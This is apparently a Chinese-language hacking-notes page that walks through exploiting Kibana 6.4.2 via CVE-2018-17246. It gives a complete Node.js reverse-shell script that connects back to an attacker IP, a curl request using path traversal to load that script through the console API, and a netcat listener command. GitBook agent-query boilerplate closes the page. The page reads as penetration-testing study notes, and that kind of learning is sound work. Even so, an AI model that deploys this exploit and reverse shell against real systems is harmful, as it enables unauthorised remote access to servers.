> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/kibana-cms-exploitation.md).

# Kibana

### 利用 Kibana（CVE-2018-17246）

<figure><img src="/files/77ad8e7dc7fe40e0fc9cd03a14aba835f2bcfafd" alt=""><figcaption></figcaption></figure>

**Kibana 版本检查**

访问 `http://localhost:5601/api/status` 会显示 Kibana 版本 **6.4.2**。此版本容易受到 **本地文件包含（LFI）** 通过 **CVE-2018-17246**.

<figure><img src="/files/f872c438bf610a44d07c835997da80adbbaaf797" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**漏洞利用**

要利用该漏洞，请创建一个打开反向 shell 的 JavaScript 文件。在目标上，创建 `/tmp/rev.js` 并使用以下代码：

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止 Node.js 应用程序崩溃
})();
</code></pre>

此脚本会在端口上回连到攻击机 **443** 并打开一个 shell。

**将流重定向到文件**

然后将流重定向到 `/dev/shm/rev.js` 使用以下命令：

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**监听反向 Shell**

在攻击机上，在端口上启动监听器 **443** 以捕获反向 shell：

```bash
nc -nlvp 443
```

连接成功后，你将在目标上获得一个 shell，并可以继续进行权限提升。

<figure><img src="/files/26c90460d31eed2788e04a094e4d44222d78bb17" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/kibana-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
